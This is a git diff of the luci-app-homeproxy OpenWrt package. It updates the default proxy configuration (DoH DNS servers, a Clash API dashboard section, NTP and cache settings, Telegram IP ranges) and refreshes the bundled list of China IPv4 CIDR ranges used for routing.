b/luci-app-homeproxy/root/etc/config/homeproxy @@ -25,42 +25,49 @@ config homeproxy 'migration' config homeproxy 'config' option main_node 'nil' option main_udp_node 'same' - option dns_server '8.8.8.8' - option china_dns_server '223.5.5.5' + option dns_server 'https://dns.quad9.net/dns-query' + option china_dns_server 'https://dns.alidns.com/dns-query' option routing_mode 'bypass_mainland_china' option routing_port 'common' option proxy_mode 'redirect_tproxy' option ipv6_support '1' option github_token '' option log_level 'warn' - option clash_api_enabled '1' - option clash_api_external_controller '127.0.0.1:9090' - option clash_api_default_mode 'Rule' - list clash_api_allow_origin 'https://metacubex.github.io' - list clash_api_allow_origin 'https://metacubexd.pages.dev' - list clash_api_allow_origin 'http://d.metacubex.one' - list clash_api_allow_origin 'https://yacd.metacubex.one' - option clash_api_allow_private_network '1' - option metacubexd_url 'https://metacubexd.pages.dev/#/overview' config homeproxy 'control' option lan_proxy_mode 'disabled' list wan_proxy_ipv4_ips '91.105.192.0/23' list wan_proxy_ipv4_ips '91.108.4.0/22' - list wan_proxy_ipv4_ips '91.108.8.0/22' - list wan_proxy_ipv4_ips '91.108.16.0/22' - list wan_proxy_ipv4_ips '91.108.12.0/22' - list wan_proxy_ipv4_ips '91.108.20.0/22' + list wan_proxy_ipv4_ips '91.108.8.0/21' + list wan_proxy_ipv4_ips '91.108.16.0/21' list wan_proxy_ipv4_ips '91.108.56.0/22' + list wan_proxy_ipv4_ips '95.161.64.0/20' list wan_proxy_ipv4_ips '149.154.160.0/20' list wan_proxy_ipv4_ips '185.76.151.0/24' - list wan_proxy_ipv4_ips '203.208.50.66/32' list wan_proxy_ipv6_ips '2001:67c:4e8::/48' - list wan_proxy_ipv6_ips '2001:b28:f23c::/48' - list wan_proxy_ipv6_ips '2001:b28:f23d::/48' + list wan_proxy_ipv6_ips '2001:b28:f23c::/47' list wan_proxy_ipv6_ips '2001:b28:f23f::/48' list wan_proxy_ipv6_ips '2a0a:f280::/32' +config homeproxy 'clash_api' + option external_ui '/etc/homeproxy/run/ui' + option external_ui_download_url 'https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip' + option external_ui_download_detour 'direct-out' + option external_controller '0.0.0.0:9095' + option secret 'homeproxy' + option default_mode 'rule' + +config homeproxy 'ntp' + option enabled '1' + option server 'ntp.aliyun.com' + option server_port '123' + option interval '30m' + +config homeproxy 'cache' + option enabled '1' + option path '/etc/homeproxy/cache.db' + option store_rdrc '1' + config homeproxy 'routing' option sniff_override '1' option default_outbound 'direct-out' @@ -75,12 +82,11 @@ config homeproxy 'dns' config homeproxy 'subscription' option auto_update '0' option allow_insecure '0' - option allow_unsupported_tls_pin_fallback '0' + option latency_test_mode 'icmp' option packet_encoding 'xudp' option update_via_proxy '0' - option filter_nodes 'blacklist' - list filter_keywords '重置|到期|过期|剩余|套餐' - list filter_keywords 'Expiration|Remaining' + option auto_update_time '0 0 * * *' + option filter_nodes 'disabled' config homeproxy 'server' option enabled '0' diff --git a/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip4.txt b/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip4.txt index d7a4022de..f48438506 100644 --- a/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip4.txt +++ b/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip4.txt @@ -1,36 +1,64 @@ -1.1.8.0/24 -1.2.4.0/24 -1.8.1.0/24 -1.8.8.0/24 +1.0.1.0/24 +1.0.2.0/23 +1.0.8.0/21 +1.0.32.0/19 +1.1.0.0/24 +1.1.2.0/23 +1.1.4.0/22 +1.1.8.0/21 +1.1.16.0/20 +1.1.32.0/19 +1.2.0.0/23 +1.2.2.0/24 +1.2.4.0/22 +1.2.8.0/21 +1.2.16.0/20 +1.2.32.0/19 +1.2.64.0/18 +1.3.0.0/16 +1.4.1.0/24 +1.4.2.0/23 +1.4.4.0/22 +1.4.8.0/21 +1.4.16.0/20 +1.4.32.0/19 +1.4.64.0/18 +1.8.0.0/16 +1.10.0.0/21 +1.10.8.0/23 +1.10.11.0/24 +1.10.12.0/22 +1.10.16.0/20 +1.10.32.0/19 +1.10.64.0/18 1.12.0.0/14 -1.18.128.0/24 1.24.0.0/13 1.45.0.0/16 1.48.0.0/14 1.56.0.0/13 1.68.0.0/14 -1.80.0.0/13 -1.88.0.0/14 -1.92.0.0/16 -1.94.0.0/15 +1.80.0.0/12 1.116.0.0/15 -1.119.0.0/17 -1.119.128.0/18 -1.119.192.0/20 -1.119.208.0/22 +1.118.0.0/23 +1.118.4.0/22 +1.118.8.0/21 +1.118.16.0/20 +1.118.37.0/24 +1.118.38.0/23 +1.118.40.0/21 +1.118.56.0/21 +1.118.96.0/19 +1.118.128.0/17 +1.119.0.0/16 1.180.0.0/14 1.184.0.0/15 1.188.0.0/14 1.192.0.0/13 1.202.0.0/15 1.204.0.0/14 -2.56.255.0/24 -2.58.242.0/24 -2.59.151.0/24 5.10.138.0/23 5.10.140.0/24 5.10.143.0/24 -5.181.219.0/24 8.128.4.0/22 8.128.32.0/19 8.128.64.0/19 @@ -47,8 +75,8 @@ 8.148.64.0/18 8.148.128.0/17 8.149.0.0/16 -8.150.0.0/20 -8.150.16.0/21 +8.150.0.0/19 +8.150.32.0/21 8.150.64.0/23 8.152.0.0/13 8.160.0.0/15 @@ -58,383 +86,713 @@ 8.168.0.0/15 8.176.0.0/17 8.176.128.0/19 +14.0.0.0/21 +14.0.12.0/22 +14.1.0.0/22 +14.1.24.0/22 +14.1.108.0/22 14.16.0.0/12 +14.102.128.0/22 +14.102.180.0/22 14.103.0.0/16 14.104.0.0/13 14.112.0.0/12 +14.130.0.0/15 14.134.0.0/15 14.144.0.0/12 +14.192.60.0/22 +14.192.76.0/22 +14.196.0.0/15 14.204.0.0/15 14.208.0.0/12 -14.255.16.0/24 -14.255.238.0/24 -14.255.254.0/24 16.2.142.0/23 -23.162.120.0/24 -23.247.128.0/24 -23.247.130.0/24 -27.0.128.0/24 -27.0.130.0/23 -27.0.132.0/22 -27.0.164.0/22 +27.0.128.0/21 +27.0.160.0/21 +27.0.188.0/22 27.0.204.0/22 27.0.208.0/21 27.8.0.0/13 27.16.0.0/12 +27.34.232.0/21 27.36.0.0/14 27.40.0.0/13 +27.50.40.0/21 27.50.128.0/17 +27.54.72.0/21 +27.54.152.0/21 +27.54.192.0/18 +27.98.208.0/20 27.98.224.0/19 +27.99.128.0/17 +27.103.0.0/16 +27.106.128.0/18 27.106.204.0/22 +27.109.32.0/19 27.109.124.0/22 -27.112.0.0/21 +27.112.0.0/18 +27.112.80.0/20 +27.112.112.0/21 +27.113.128.0/18 27.115.0.0/17 +27.116.44.0/22 +27.121.72.0/21 +27.121.120.0/21 27.128.0.0/15 +27.131.220.0/22 27.144.0.0/16 27.148.0.0/14 27.152.0.0/13 27.184.0.0/13 27.192.0.0/11 27.224.0.0/14 -31.40.214.0/24 +36.0.0.0/22 +36.0.8.0/21 +36.0.16.0/20 +36.0.32.0/19 +36.0.64.0/18 +36.0.128.0/17 36.1.0.0/16 36.4.0.0/14 36.16.0.0/12 36.32.0.0/14 36.36.0.0/16 +36.37.0.0/19 +36.37.36.0/23 +36.37.39.0/24 +36.37.40.0/21 +36.37.48.0/20 36.40.0.0/13 36.48.0.0/15 -36.50.226.0/24 -36.51.253.0/24 +36.50.226.0/23 +36.50.254.0/23 +36.51.0.0/16 36.56.0.0/13 -36.96.0.0/12 -36.112.0.0/15 -36.128.0.0/10 -36.192.0.0/16 -36.206.0.0/16 -36.212.0.0/15 -36.214.0.0/16 -36.221.0.0/17 +36.96.0.0/11 +36.128.0.0/13 +36.136.0.0/14 +36.140.0.0/17 +36.140.128.0/18 +36.140.192.0/20 +36.140.208.0/21 +36.140.216.0/23 +36.140.218.0/24 +36.140.220.0/22 +36.140.224.0/19 +36.141.0.0/16 +36.142.0.0/15 +36.144.0.0/12 +36.160.0.0/11 +36.192.0.0/11 36.248.0.0/14 +36.254.0.0/16 36.255.116.0/22 36.255.128.0/22 -36.255.164.0/24 +36.255.164.0/22 +36.255.172.0/22 +36.255.176.0/22 +39.0.0.0/24 +39.0.2.0/23 +39.0.4.0/22 +39.0.8.0/21 +39.0.16.0/20 +39.0.32.0/19 +39.0.64.0/18 +39.0.128.0/17 39.64.0.0/11 -39.96.0.0/13 +39.96.0.0/16 +39.97.0.0/17 +39.97.128.0/18 +39.97.192.0/21 +39.97.200.0/22 +39.97.208.0/20 +39.97.224.0/19 +39.98.0.0/15 +39.100.0.0/14 39.104.0.0/14 39.108.0.0/16 39.128.0.0/10 -40.0.176.0/20 -40.0.248.0/21 40.72.0.0/15 40.125.128.0/17 40.126.64.0/18 40.162.0.0/16 -40.198.10.0/24 -40.198.16.0/21 -40.198.24.0/23 -40.251.225.0/24 -40.251.227.0/24 -40.251.228.0/24 +42.0.0.0/22 +42.0.8.0/21 +42.0.16.0/21 +42.0.24.0/22 +42.0.32.0/19 +42.0.128.0/18 +42.0.192.0/21 +42.0.201.0/24 +42.0.202.0/23 +42.0.204.0/22 +42.0.208.0/20 +42.0.224.0/19 +42.1.0.0/19 +42.1.32.0/20 +42.1.48.0/21 +42.1.56.0/22 +42.1.128.0/17 42.4.0.0/14 -42.48.0.0/15 -42.51.0.0/16 -42.52.0.0/14 +42.48.0.0/13 42.56.0.0/14 42.62.0.0/17 +42.62.128.0/19 +42.62.160.0/20 +42.62.180.0/22 +42.62.184.0/21 42.63.0.0/16 42.80.0.0/15 -42.83.128.0/22 -42.83.132.0/23 -42.83.134.0/24 -42.83.144.0/22 -42.83.189.0/24 -42.83.190.0/24 -42.83.200.0/23 +42.83.64.0/20 +42.83.80.0/22 +42.83.88.0/21 +42.83.96.0/19 +42.83.128.0/17 42.84.0.0/14 42.88.0.0/13 +42.96.64.0/19 +42.96.96.0/21 +42.96.108.0/22 +42.96.112.0/20 42.96.128.0/17 42.97.0.0/16 42.99.0.0/18 +42.99.64.0/19 +42.99.96.0/20 +42.99.112.0/22 +42.99.120.0/21 42.100.0.0/14 42.120.0.0/15 42.122.0.0/16 +42.123.0.0/19 +42.123.36.0/22 +42.123.40.0/21 +42.123.48.0/20 42.123.64.0/18 +42.123.128.0/17 +42.128.0.0/12 +42.156.0.0/19 +42.156.36.0/22 +42.156.40.0/21 +42.156.48.0/20 +42.156.64.0/18 42.156.128.0/17 -42.157.128.0/21 -42.157.160.0/19 -42.157.192.0/21 +42.157.0.0/16 42.158.0.0/15 +42.160.0.0/12 42.176.0.0/13 42.184.0.0/15 42.186.0.0/16 +42.187.0.0/18 +42.187.64.0/19 +42.187.96.0/20 +42.187.112.0/21 42.187.120.0/22 42.187.128.0/17 -42.192.0.0/15 -42.194.12.0/24 -42.194.128.0/17 -42.199.240.0/22 -42.201.32.0/19 -42.201.64.0/21 -42.201.72.0/22 -42.201.76.0/23 +42.192.0.0/13 +42.201.0.0/17 42.202.0.0/15 +42.204.0.0/14 +42.208.0.0/12 42.224.0.0/12 -42.240.0.0/21 -42.240.8.0/22 -42.240.12.0/23 -42.240.16.0/23 -42.240.20.0/22 -42.240.48.0/24 -42.240.128.0/17 +42.240.0.0/17 +42.240.128.0/18 +42.240.192.0/19 +42.240.224.0/20 +42.240.240.0/21 +42.240.248.0/23 42.242.0.0/15 42.244.0.0/14 -42.248.0.0/15 +42.248.0.0/13 43.136.0.0/13 43.144.0.0/15 -43.176.0.0/14 -43.180.0.0/16 -43.192.0.0/16 -43.193.0.0/18 -43.193.64.0/23 -43.194.0.0/20 -43.194.16.0/24 -43.195.0.0/20 -43.195.16.0/22 -43.195.20.0/23 -43.196.0.0/16 +43.148.0.0/14 +43.176.0.0/12 +43.192.0.0/14 +43.196.0.0/15 43.224.12.0/22 43.224.24.0/22 -43.224.52.0/23 +43.224.44.0/22 +43.224.52.0/22 43.224.56.0/22 +43.224.68.0/22 +43.224.72.0/22 43.224.80.0/22 -43.224.240.0/24 +43.224.100.0/22 +43.224.160.0/22 +43.224.176.0/22 +43.224.184.0/22 +43.224.200.0/21 +43.224.208.0/21 +43.224.216.0/22 +43.224.240.0/22 43.225.76.0/22 -43.225.84.0/23 +43.225.84.0/22 43.225.120.0/22 43.225.180.0/22 43.225.208.0/22 -43.225.255.0/24 +43.225.216.0/21 +43.225.224.0/20 +43.225.240.0/21 +43.225.252.0/22 43.226.32.0/19 -43.226.64.0/20 -43.226.116.0/22 -43.226.128.0/19 -43.226.164.0/22 +43.226.64.0/19 +43.226.96.0/20 +43.226.112.0/21 +43.226.120.0/22 +43.226.128.0/18 +43.226.192.0/20 +43.226.208.0/21 43.226.236.0/22 -43.227.56.0/21 -43.227.64.0/21 -43.227.80.0/20 +43.226.240.0/20 +43.227.0.0/21 +43.227.8.0/22 +43.227.32.0/19 +43.227.64.0/19 +43.227.96.0/21 43.227.104.0/22 -43.227.140.0/22 +43.227.136.0/21 +43.227.144.0/22 43.227.152.0/21 43.227.160.0/20 43.227.176.0/21 +43.227.188.0/22 43.227.192.0/19 -43.227.252.0/22 -43.228.0.0/19 -43.228.36.0/22 -43.228.40.0/21 -43.228.48.0/20 +43.227.232.0/22 +43.227.248.0/21 +43.228.0.0/18 43.228.64.0/21 43.228.76.0/22 +43.228.100.0/22 +43.228.116.0/22 +43.228.120.0/22 +43.228.132.0/22 +43.228.136.0/22 +43.228.148.0/22 +43.228.152.0/22 +43.228.188.0/22 43.228.204.0/22 43.228.240.0/22 +43.229.40.0/22 43.229.48.0/22 -43.229.184.0/23 -43.229.216.0/22 +43.229.56.0/22 +43.229.96.0/22 +43.229.136.0/21 +43.229.144.0/22 +43.229.168.0/21 +43.229.176.0/20 +43.229.192.0/21 +43.229.216.0/21 +43.229.232.0/21 +43.230.20.0/22 +43.230.32.0/22 +43.230.68.0/22 43.230.72.0/22 -43.230.221.0/24 -43.230.222.0/23 -43.231.41.0/24 -43.231.46.0/23 +43.230.124.0/22 +43.230.220.0/22 +43.230.224.0/19 +43.231.32.0/20 +43.231.80.0/20 43.231.96.0/20 +43.231.136.0/21 43.231.144.0/20 -43.231.160.0/21 -43.231.168.0/23 -43.231.170.0/24 +43.231.160.0/20 +43.231.176.0/21 +43.236.0.0/16 +43.237.0.0/17 +43.237.128.0/18 +43.237.192.0/22 +43.237.200.0/21 +43.237.208.0/20 +43.237.224.0/19 +43.238.0.0/16 +43.239.0.0/19 +43.239.32.0/20 +43.239.48.0/22 +43.239.116.0/22 43.239.120.0/22 -43.239.172.0/23 +43.239.172.0/22 +43.239.176.0/23 +43.239.179.0/24 43.240.0.0/22 -43.240.60.0/22 -43.240.72.0/22 +43.240.56.0/21 +43.240.68.0/22 +43.240.72.0/21 +43.240.84.0/22 43.240.124.0/22 -43.240.128.0/22 -43.240.133.0/24 +43.240.128.0/21 43.240.136.0/22 43.240.156.0/22 -43.240.192.0/21 -43.240.200.0/23 -43.240.202.0/24 -43.240.204.0/22 -43.240.220.0/22 -43.241.16.0/22 -43.241.48.0/24 -43.241.50.0/23 +43.240.192.0/19 +43.240.240.0/20 +43.241.0.0/20 +43.241.16.0/21 +43.241.48.0/22 43.241.76.0/22 -43.241.180.0/22 +43.241.80.0/20 +43.241.112.0/22 +43.241.168.0/21 +43.241.176.0/21 +43.241.184.0/22 43.241.208.0/20 43.241.224.0/20 43.241.240.0/22 -43.242.72.0/22 -43.242.84.0/22 +43.241.248.0/22 +43.242.8.0/21 +43.242.16.0/20 +43.242.48.0/22 +43.242.53.0/24 +43.242.54.0/24 +43.242.56.0/21 +43.242.64.0/22 +43.242.72.0/21 +43.242.80.0/20 43.242.96.0/22 -43.242.152.0/21 -43.242.164.0/22 +43.242.144.0/20 +43.242.160.0/21 +43.242.168.0/22 43.242.180.0/22 +43.242.188.0/22 43.242.192.0/21 +43.242.204.0/22 +43.242.216.0/21 43.242.252.0/22 43.243.4.0/22 -43.243.12.0/22 +43.243.8.0/21 43.243.16.0/22 43.243.88.0/22 43.243.128.0/22 43.243.136.0/22 -43.243.148.0/22 +43.243.144.0/21 43.243.156.0/22 +43.243.180.0/22 43.243.228.0/22 43.243.232.0/22 43.243.244.0/22 -43.247.4.0/24 +43.246.0.0/18 +43.246.64.0/19 +43.246.96.0/22 +43.246.112.0/24 +43.246.114.0/23 +43.246.228.0/22 +43.247.4.0/22 +43.247.8.0/22 +43.247.44.0/22 +43.247.48.0/22 43.247.68.0/22 +43.247.76.0/22 43.247.84.0/22 -43.247.88.0/22 -43.247.100.0/22 +43.247.88.0/21 +43.247.96.0/21 +43.247.108.0/22 +43.247.112.0/22 +43.247.148.0/22 +43.247.152.0/22 43.247.176.0/20 43.247.196.0/22 -43.247.244.0/22 -43.247.248.0/22 -43.248.0.0/22 +43.247.200.0/21 +43.247.208.0/20 +43.247.224.0/22 +43.247.232.0/21 +43.247.240.0/20 +43.248.0.0/21 +43.248.20.0/22 +43.248.28.0/22 43.248.48.0/22 43.248.76.0/22 -43.248.96.0/21 -43.248.108.0/22 -43.248.112.0/21 +43.248.80.0/20 +43.248.96.0/19 43.248.128.0/20 -43.248.184.0/21 +43.248.144.0/21 +43.248.176.0/20 43.248.192.0/20 +43.248.208.0/22 +43.248.228.0/22 43.248.232.0/22 43.248.244.0/22 -43.249.0.0/23 -43.249.2.0/24 +43.249.4.0/22 +43.249.120.0/22 +43.249.132.0/22 43.249.136.0/22 -43.249.144.0/22 +43.249.144.0/20 +43.249.160.0/21 +43.249.168.0/22 43.249.192.0/22 43.249.236.0/22 43.250.4.0/22 -43.250.32.0/22 -43.250.96.0/22 +43.250.12.0/22 +43.250.16.0/21 +43.250.28.0/22 +43.250.32.0/21 +43.250.96.0/21 +43.250.108.0/22 43.250.112.0/22 -43.250.144.0/22 +43.250.128.0/22 +43.250.144.0/21 +43.250.160.0/22 43.250.168.0/22 +43.250.176.0/22 +43.250.180.0/23 43.250.200.0/22 +43.250.212.0/22 +43.250.216.0/21 43.250.236.0/22 43.250.244.0/22 43.251.4.0/22 43.251.36.0/22 +43.251.118.0/23 +43.251.192.0/22 43.251.232.0/22 43.251.244.0/22 -43.252.48.0/24 -43.254.0.0/22 +43.252.48.0/22 +43.252.56.0/22 +43.254.0.0/21 43.254.8.0/22 43.254.24.0/22 +43.254.36.0/22 43.254.44.0/22 43.254.52.0/22 -43.254.88.0/22 +43.254.72.0/22 +43.254.84.0/22 +43.254.88.0/21 43.254.100.0/22 -43.254.104.0/23 -43.254.106.0/24 -43.254.116.0/22 -43.254.136.0/22 -43.254.140.0/23 +43.254.104.0/22 +43.254.112.0/21 +43.254.128.0/22 +43.254.136.0/21 43.254.144.0/20 43.254.168.0/21 -43.254.192.0/22 +43.254.180.0/22 +43.254.184.0/21 +43.254.192.0/21 43.254.200.0/22 +43.254.208.0/22 43.254.220.0/22 43.254.224.0/20 43.254.240.0/22 43.254.248.0/21 -43.255.0.0/22 -43.255.68.0/22 +43.255.0.0/21 +43.255.8.0/22 +43.255.48.0/22 +43.255.64.0/20 43.255.84.0/22 43.255.96.0/22 +43.255.144.0/22 +43.255.176.0/22 43.255.184.0/22 -43.255.200.0/22 -43.255.212.0/22 -43.255.224.0/22 -45.12.88.0/24 -45.12.90.0/24 +43.255.192.0/22 +43.255.200.0/21 +43.255.208.0/21 +43.255.224.0/21 +43.255.232.0/22 +43.255.244.0/22 +44.30.120.0/24 45.40.192.0/18 -45.61.200.0/23 -45.61.226.0/24 -45.65.20.0/22 -45.67.223.0/24 -45.81.34.0/24 -45.82.239.0/24 -45.112.232.0/22 -45.113.20.0/22 -45.113.24.0/22 +45.65.16.0/20 +45.112.132.0/22 +45.112.188.0/22 +45.112.208.0/20 +45.112.228.0/22 +45.112.232.0/21 +45.113.12.0/22 +45.113.16.0/20 45.113.40.0/22 -45.113.200.0/22 -45.113.206.0/24 +45.113.52.0/22 +45.113.56.0/22 +45.113.72.0/22 +45.113.144.0/21 +45.113.168.0/22 +45.113.176.0/22 +45.113.184.0/22 +45.113.200.0/21 +45.113.208.0/20 +45.113.240.0/22 +45.113.252.0/22 +45.114.0.0/22 +45.114.32.0/22 +45.114.40.0/22 +45.114.52.0/22 +45.114.96.0/22 +45.114.136.0/22 +45.114.196.0/22 +45.114.200.0/22 +45.114.228.0/22 +45.114.252.0/22 +45.115.18.0/23 45.115.44.0/22 +45.115.100.0/22 +45.115.120.0/22 +45.115.132.0/22 45.115.144.0/22 +45.115.156.0/22 45.115.164.0/22 45.115.200.0/22 -45.116.32.0/22 +45.115.212.0/22 +45.115.244.0/22 +45.115.248.0/22 +45.116.16.0/22 +45.116.24.0/22 +45.116.32.0/21 45.116.52.0/22 -45.116.100.0/22 +45.116.96.0/21 45.116.140.0/22 45.116.152.0/22 45.116.208.0/22 45.117.8.0/22 +45.117.20.0/22 45.117.68.0/22 +45.117.124.0/22 +45.117.252.0/22 45.119.60.0/22 -45.119.68.0/22 -45.119.104.0/23 +45.119.64.0/21 +45.119.72.0/22 +45.119.104.0/22 45.119.116.0/22 +45.119.232.0/22 45.120.100.0/22 +45.120.140.0/22 45.120.164.0/22 -45.120.243.0/24 -45.123.117.0/24 -45.123.128.0/22 +45.120.240.0/22 +45.121.52.0/22 +45.121.64.0/21 +45.121.72.0/22 +45.121.92.0/22 +45.121.172.0/22 +45.121.176.0/22 +45.121.215.0/24 +45.121.240.0/20 +45.122.0.0/19 +45.122.32.0/21 +45.122.40.0/22 +45.122.60.0/22 +45.122.64.0/19 +45.122.96.0/20 +45.122.112.0/21 +45.122.160.0/19 +45.122.192.0/20 +45.122.208.0/21 +45.122.216.0/22 +45.123.28.0/22 +45.123.32.0/21 +45.123.44.0/22 +45.123.48.0/20 +45.123.64.0/20 +45.123.80.0/21 +45.123.88.0/22 +45.123.120.0/22 +45.123.128.0/21 +45.123.136.0/22 +45.123.148.0/22 +45.123.152.0/21 +45.123.164.0/22 45.123.168.0/21 45.123.176.0/21 +45.123.184.0/22 +45.123.204.0/22 +45.123.212.0/22 +45.123.224.0/19 +45.124.0.0/22 45.124.20.0/22 +45.124.28.0/22 +45.124.32.0/21 45.124.68.0/22 45.124.76.0/22 45.124.80.0/22 +45.124.100.0/22 45.124.124.0/22 -45.125.25.0/24 +45.124.172.0/22 +45.124.176.0/22 +45.124.208.0/22 +45.124.248.0/22 +45.125.24.0/22 45.125.44.0/22 +45.125.52.0/22 45.125.56.0/22 -45.126.112.0/22 +45.125.76.0/22 +45.125.80.0/20 +45.125.96.0/21 +45.125.136.0/22 +45.126.48.0/21 +45.126.100.0/22 +45.126.108.0/22 +45.126.112.0/21 45.126.120.0/22 -45.127.129.0/24 +45.126.212.0/22 +45.126.220.0/22 +45.127.8.0/21 +45.127.128.0/22 45.127.144.0/21 -45.150.236.0/23 +45.127.156.0/22 45.248.8.0/22 -45.248.108.0/23 -45.248.110.0/24 -45.249.212.0/22 +45.248.80.0/21 +45.248.96.0/20 +45.248.128.0/21 +45.248.204.0/22 +45.248.208.0/20 +45.248.224.0/19 +45.249.0.0/21 +45.249.12.0/22 +45.249.16.0/20 +45.249.32.0/21 +45.249.112.0/22 +45.249.188.0/22 +45.249.192.0/20 +45.249.208.0/21 +45.250.12.0/22 +45.250.16.0/22 +45.250.28.0/22 45.250.32.0/21 45.250.40.0/22 -45.250.152.0/23 -45.250.180.0/23 -45.250.184.0/22 -45.250.188.0/24 +45.250.76.0/22 +45.250.80.0/20 +45.250.96.0/22 +45.250.104.0/21 +45.250.112.0/20 +45.250.128.0/20 +45.250.144.0/21 +45.250.152.0/22 +45.250.164.0/22 +45.250.180.0/22 +45.250.184.0/21 +45.250.192.0/22 +45.251.0.0/22 45.251.8.0/22 -45.251.20.0/22 +45.251.16.0/21 +45.251.52.0/22 +45.251.84.0/22 45.251.88.0/21 -45.251.100.0/22 -45.251.120.0/22 -45.252.0.0/22 -45.252.104.0/22 -45.253.24.0/22 -45.253.32.0/24 -45.253.60.0/22 +45.251.96.0/21 +45.251.120.0/21 +45.251.140.0/22 +45.251.144.0/20 +45.251.160.0/19 +45.251.192.0/19 +45.251.224.0/22 +45.252.0.0/21 +45.252.9.0/24 +45.252.10.0/23 +45.252.12.0/22 +45.252.16.0/20 +45.252.32.0/20 +45.252.48.0/22 +45.252.88.0/21 +45.252.96.0/22 +45.252.104.0/21 +45.252.112.0/20 +45.252.128.0/20 +45.252.148.0/22 +45.252.152.0/21 +45.252.160.0/20 +45.252.176.0/22 +45.252.192.0/19 +45.252.224.0/21 +45.252.232.0/22 +45.253.0.0/18 +45.253.64.0/20 +45.253.80.0/21 +45.253.92.0/22 45.253.96.0/20 45.253.112.0/21 +45.253.120.0/22 45.253.132.0/22 45.253.136.0/21 45.253.144.0/20 @@ -442,88 +800,86 @@ 45.253.192.0/19 45.253.224.0/20 45.253.240.0/22 -45.254.8.0/22 -45.254.20.0/22 -45.254.48.0/23 -45.254.50.0/24 -45.254.64.0/20 -45.255.152.0/22 +45.254.0.0/20 +45.254.16.0/21 +45.254.28.0/22 +45.254.40.0/22 +45.254.48.0/20 +45.254.64.0/18 +45.254.128.0/18 +45.254.192.0/19 +45.254.224.0/21 +45.254.236.0/22 +45.254.240.0/22 +45.254.248.0/22 +45.255.0.0/18 +45.255.64.0/19 +45.255.96.0/20 +45.255.112.0/21 +45.255.120.0/22 +45.255.136.0/21 +45.255.144.0/20 +45.255.160.0/19 +45.255.192.0/19 +45.255.224.0/20 +45.255.240.0/21 +45.255.248.0/22 47.92.0.0/14 -47.96.0.0/12 -47.112.0.0/13 -47.120.0.0/14 -49.4.0.0/18 -49.4.64.0/19 -49.4.96.0/21 -49.4.104.0/22 -49.4.108.0/23 -49.4.110.0/24 -49.4.112.0/21 -49.4.120.0/22 -49.4.124.0/23 -49.4.126.0/24 +47.96.0.0/11 +49.4.0.0/17 49.4.128.0/22 -49.7.0.0/16 +49.4.160.0/20 +49.4.178.0/23 +49.4.180.0/22 +49.4.184.0/21 +49.4.192.0/18 +49.5.0.0/16 +49.6.0.0/15 +49.51.0.0/19 +49.51.54.0/23 +49.51.56.0/21 +49.51.88.0/21 +49.51.96.0/19 +49.51.226.0/23 49.52.0.0/14 49.64.0.0/11 49.112.0.0/13 49.120.0.0/14 +49.128.0.0/24 +49.128.2.0/23 +49.128.4.0/22 49.140.0.0/15 +49.152.0.0/14 49.208.0.0/14 -49.221.26.0/23 -49.221.64.0/19 -49.221.128.0/19 +49.213.60.0/23 +49.220.0.0/14 49.232.0.0/14 +49.239.0.0/18 49.239.192.0/18 -50.114.187.0/24 -52.80.0.0/15 -52.82.0.0/17 -52.82.128.0/23 -52.82.131.0/24 -52.82.132.0/24 -52.82.134.0/23 -52.82.136.0/24 -52.82.144.0/23 -52.82.148.0/23 -52.82.160.0/21 -52.82.170.0/23 -52.82.172.0/22 -52.82.176.0/21 -52.82.184.0/23 -52.82.187.0/24 -52.82.188.0/23 -52.82.190.0/24 -52.82.192.0/18 -52.83.0.0/16 +49.246.224.0/23 +49.246.228.0/22 +49.246.232.0/23 +49.246.236.0/22 +49.246.240.0/20 +52.80.0.0/14 52.130.0.0/15 -54.222.0.0/19 -54.222.32.0/21 -54.222.45.0/24 -54.222.46.0/23 -54.222.48.0/21 -54.222.57.0/24 -54.222.60.0/22 -54.222.64.0/23 -54.222.70.0/23 -54.222.72.0/21 -54.222.80.0/21 -54.222.88.0/22 -54.222.96.0/23 -54.222.100.0/22 -54.222.104.0/21 -54.222.112.0/22 -54.222.116.0/23 -54.222.128.0/17 -54.223.0.0/16 +54.222.0.0/15 +57.176.0.0/15 +58.14.0.0/21 +58.14.16.0/20 +58.14.32.0/19 +58.14.64.0/18 +58.14.128.0/17 +58.15.0.0/16 58.16.0.0/13 58.24.0.0/15 58.30.0.0/15 58.32.0.0/11 -58.67.128.0/17 -58.68.236.0/24 -58.68.247.0/24 -58.82.0.0/22 -58.83.128.0/17 +58.65.232.0/21 +58.66.0.0/15 +58.68.224.0/19 +58.82.0.0/17 +58.83.0.0/16 58.87.64.0/18 58.99.128.0/17 58.100.0.0/15 @@ -533,119 +889,94 @@ 58.154.0.0/15 58.192.0.0/11 58.240.0.0/12 -59.32.0.0/13 -59.40.0.0/15 -59.42.0.0/16 -59.44.0.0/14 -59.48.0.0/12 +59.32.0.0/11 59.64.0.0/12 -59.80.0.0/17 -59.81.8.0/23 -59.81.40.0/23 -59.81.46.0/24 -59.81.64.0/23 -59.81.82.0/23 -59.81.94.0/23 -59.81.102.0/23 -59.81.104.0/22 -59.82.0.0/17 -59.82.128.0/19 +59.80.0.0/15 +59.82.0.0/16 +59.83.0.0/17 +59.83.144.0/20 +59.83.160.0/20 59.83.192.0/19 59.83.224.0/21 59.83.232.0/22 -59.107.0.0/17 -59.108.0.0/16 -59.110.0.0/16 -59.111.0.0/20 -59.111.17.0/24 -59.111.18.0/23 -59.111.21.0/24 -59.111.22.0/24 -59.111.24.0/22 -59.111.32.0/24 -59.111.35.0/24 -59.111.36.0/24 -59.111.40.0/21 -59.111.64.0/19 -59.111.96.0/21 -59.111.104.0/23 -59.111.107.0/24 -59.111.109.0/24 -59.111.111.0/24 -59.111.112.0/21 -59.111.128.0/20 -59.111.144.0/24 -59.111.152.0/21 -59.111.160.0/23 -59.111.162.0/24 -59.111.164.0/22 -59.111.168.0/22 -59.111.173.0/24 -59.111.175.0/24 -59.111.178.0/23 -59.111.181.0/24 -59.111.182.0/23 -59.111.190.0/24 -59.111.192.0/23 -59.111.198.0/23 -59.111.203.0/24 -59.111.205.0/24 -59.111.211.0/24 -59.111.214.0/24 -59.111.224.0/21 -59.111.232.0/23 -59.111.236.0/24 -59.111.238.0/23 -59.111.240.0/22 -59.111.244.0/24 -59.111.248.0/21 +59.107.0.0/16 +59.108.0.0/14 59.151.0.0/17 -59.152.36.0/24 -59.152.38.0/23 -59.153.4.0/23 +59.152.16.0/20 